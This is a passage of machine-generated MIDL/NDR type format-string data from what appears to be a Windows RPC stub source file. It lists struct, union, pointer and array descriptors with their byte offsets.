0xffbe ),\t/* Offset= -66 (4342) */\n/* 4410 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 4412 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4414 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4416 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4418 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4420 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4424 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4428 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4430) */\n/* 4430 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4432 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4434 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 4438 */\tNdrFcShort( 0x12e ),\t/* Offset= 302 (4740) */\n/* 4440 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (4439) */\n/* 4442 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 4444 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4446 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 4448 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4450 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4460 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4462) */\n/* 4462 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4464 */\tNdrFcShort( 0x7 ),\t/* 7 */\n/* 4466 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 4470 */\tNdrFcShort( 0x4e ),\t/* Offset= 78 (4548) */\n/* 4472 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 4476 */\tNdrFcShort( 0x5c ),\t/* Offset= 92 (4568) */\n/* 4478 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 4482 */\tNdrFcShort( 0xe2 ),\t/* Offset= 226 (4708) */\n/* 4484 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 4488 */\tNdrFcShort( 0xee ),\t/* Offset= 238 (4726) */\n/* 4490 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 4494 */\tNdrFcShort( 0xe8 ),\t/* Offset= 232 (4726) */\n/* 4496 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 4500 */\tNdrFcShort( 0xe2 ),\t/* Offset= 226 (4726) */\n/* 4502 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 4506 */\tNdrFcShort( 0xdc ),\t/* Offset= 220 (4726) */\n/* 4508 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (4507) */\n/* 4510 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4512 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 4514 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4516 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (4516) */\n/* 4518 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4520 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 4522 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4524 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4526 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xf221 ),\t/* Offset= -3551 (976) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4530 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4532 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 4534 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4536 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (4544) */\n/* 4538 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4540 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe1 ),\t/* Offset= -31 (4510) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4544 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4546 */\tNdrFcShort( 0xfff0 ),\t/* Offset= -16 (4530) */\n/* 4548 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4550 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4552 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4554 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (4564) */\n/* 4556 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4558 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4560 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe1 ),\t/* Offset= -31 (4530) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4564 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4566 */\tNdrFcShort( 0xeecc ),\t/* Offset= -4404 (162) */\n/* 4568 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4570 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 4572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4574 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (4584) */\n/* 4576 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4578 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 4580 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 4582 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4584 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4586 */\tNdrFcShort( 0xeeb8 ),\t/* Offset= -4424 (162) */\n/* 4588 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 4590 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 4592 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 4594 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4596 */\n\t\t\t0x1c,\t\t/* FC_CVARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 4598 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 4600 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 4602 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 4604 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4606 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4608 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4612 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4616 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 4618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4620 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4622 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4624 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4628 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4632 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4634 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4636 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4638 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4640 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (4648) */\n/* 4642 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 4644 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 4646 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4648 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 4650 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (4596) */\n/* 4652 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4654 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4656 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4658 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (4664) */\n/* 4660 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 4662 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4664 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4666 */\tNdrFcShort( 0xfff2 ),\t/* Offset= -14 (4652) */\n/* 4668 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4670 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (4634) */\n/* 4672 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4674 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 4676 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4678 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (4696) */\n/* 4680 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4682 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffa1 ),\t/* Offset= -95 (4588) */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 4686 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 4688 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 4690 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 4692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 4694 */\t0x3f,\t\t/* FC_STRUCTPAD3 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4696 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4698 */\tNdrFcShort( 0xee48 ),\t/* Offset= -4536 (162) */\n/* 4700 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4702 */\tNdrFcShort( 0xffce ),\t/* Offset= -50 (4652) */\n/* 4704 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4706 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (4672) */\n/* 4708 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4710 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4712 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4714 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (4714) */\n/* 4716 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 4720 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4722 */\tNdrFcShort( 0xffce ),\t/* Offset= -50 (4672) */\n/* 4724 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4726 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4728 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4732 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (4732) */\n/* 4734 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4736 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 4738 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4740 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4742 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4746 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (4752) */\n/* 4748 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4750 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4752 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4754 */\tNdrFcShort( 0xfec8 ),\t/* Offset= -312 (4442) */\n/* 4756 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 4758 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4760 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4762 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 4764 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 4766 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 4768 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4772 */\tNdrFcLong( 0x2710 ),\t/* 10000 */\n/* 4776 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 4780 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 4782 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4784 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4788 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4792 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 4794 */\tNdrFcShort( 0xfe2e ),\t/* Offset= -466 (4328) */\n/* 4796 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4798 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4800 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 4802 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4804 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (4814) */\n/* 4806 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4808 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 4810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 4812 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4814 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4816 */\tNdrFcShort( 0xedd2 ),\t/* Offset= -4654 (162) */\n/* 4818 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 4820 */\tNdrFcShort( 0xfe66 ),\t/* Offset= -410 (4410) */\n/* 4822 */\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 4824 */\tNdrFcShort( 0xffbc ),\t/* Offset= -68 (4756) */\n/* 4826 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 4828 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4830) */\n/* 4830 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 4832 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4834 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 4836 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4838 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4840 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4844 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4848 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4850) */\n/* 4850 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4852 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4854 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 4858 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (4862) */\n/* 4860 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (4859) */\n/* 4862 */\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4864 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4866 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4868 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4870 */\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 4872 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4874) */\n/* 4874 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 4876 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 4878 */\tNdrFcShort( 0x8 ),\t/* x86 Stack size/offset = 8 */\n/* 4880 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4882 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4884 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4888 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4892 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4894) */\n/* 4894 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4896 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 4898 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 4902 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (4912) */\n/* 4904 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 4908 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (4932) */\n/* 4910 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (4909) */\n/* 4912 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4914 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 4916 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4918 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (4928) */\n/* 4920 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 4922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4924 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xeccf ),\t/* Offset= -4913 (12) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4928 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 4930 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4932 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 4934 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4938 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (4954) */\n/* 4940 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 4942 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 4944 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xecbb ),\t/* Offset= -4933 (12) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4948 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 4950 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 4952 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 4954 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 4956 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4958 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 4960 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4962 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 4964 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4966 */\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 4968 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4970) */\n/* 4970 */\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 4972 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 4974 */\tNdrFcShort( 0x18 ),\t/* x86 Stack size/offset = 24 */\n/* 4976 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 4978 */\t0x0 ,\n\t\t\t0x0,\t\t/* 0 */\n/* 4980 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4984 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4988 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (4990) */\n/* 4990 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4992 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 4994 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4998 */\tNdrFcShort( 0x58 ),\t/* Offset= 88 (5086) */\n/* 5000 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 5004 */\tNdrFcShort( 0xc8 ),\t/* Offset= 200 (5204) */\n/* 5006 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 5010 */\tNdrFcShort( 0xea ),\t/* Offset= 234 (5244) */\n/* 5012 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 5016 */\tNdrFcShort( 0x138 ),\t/* Offset= 312 (5328) */\n/* 5018 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 5022 */\tNdrFcShort( 0x132 ),\t/* Offset= 306 (5328) */\n/* 5024 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 5028 */\tNdrFcShort( 0x17e ),\t/* Offset= 382 (5410) */\n/* 5030 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 5034 */\tNdrFcShort( 0x1de ),\t/* Offset= 478 (5512) */\n/* 5036 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 5040 */\tNdrFcShort( 0x256 ),\t/* Offset= 598 (5638) */\n/* 5042 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 5046 */\tNdrFcShort( 0x286 ),\t/* Offset= 646 (5692) */\n/* 5048 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 5052 */\tNdrFcShort( 0x2d2 ),\t/* Offset= 722 (5774) */\n/* 5054 */\tNdrFcLong( 0xa ),\t/* 10 */\n/* 5058 */\tNdrFcShort( 0x326 ),\t/* Offset= 806 (5864) */\n/* 5060 */\tNdrFcLong( 0xfffffffa ),\t/* -6 */\n/* 5064 */\tNdrFcShort( 0x38e ),\t/* Offset= 910 (5974) */\n/* 5066 */\tNdrFcLong( 0xfffffffb ),\t/* -5 */\n/* 5070 */\tNdrFcShort( 0x3da ),\t/* Offset= 986 (6056) */\n/* 5072 */\tNdrFcLong( 0xfffffffc ),\t/* -4 */\n/* 5076 */\tNdrFcShort( 0x3d8 ),\t/* Offset= 984 (6060) */\n/* 5078 */\tNdrFcLong( 0xfffffffe ),\t/* -2 */\n/* 5082 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (5086) */\n/* 5084 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (5083) */\n/* 5086 */\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 5088 */\tNdrFcShort( 0x68 ),\t/* Offset= 104 (5192) */\n/* 5090 */\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 5092 */\tNdrFcShort( 0x90 ),\t/* 144 */\n/* 5094 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5096 */\tNdrFcShort( 0x26 ),\t/* Offset= 38 (5134) */\n/* 5098 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5100 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 5102 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5104 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5106 */\tNdrFcShort( 0xec1a ),\t/* Offset= -5094 (12) */\n/* 5108 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5110 */\tNdrFcShort( 0xec16 ),\t/* Offset= -5098 (12) */\n/* 5112 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5114 */\tNdrFcShort( 0xec12 ),\t/* Offset= -5102 (12) */\n/* 5116 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5118 */\tNdrFcShort( 0xec0e ),\t/* Offset= -5106 (12) */\n/* 5120 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 5122 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5124 */\tNdrFcShort( 0xfefa ),\t/* Offset= -262 (4862) */\n/* 5126 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 5128 */\tNdrFcShort( 0xfef6 ),\t/* Offset= -266 (4862) */\n/* 5130 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 5132 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 5134 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5136 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5138 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5140 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5142 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5144 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5146 */\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 5148 */\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5150 */\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 5152 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5154 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 5156 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 5158 */\tNdrFcShort( 0x1 ),\t/* 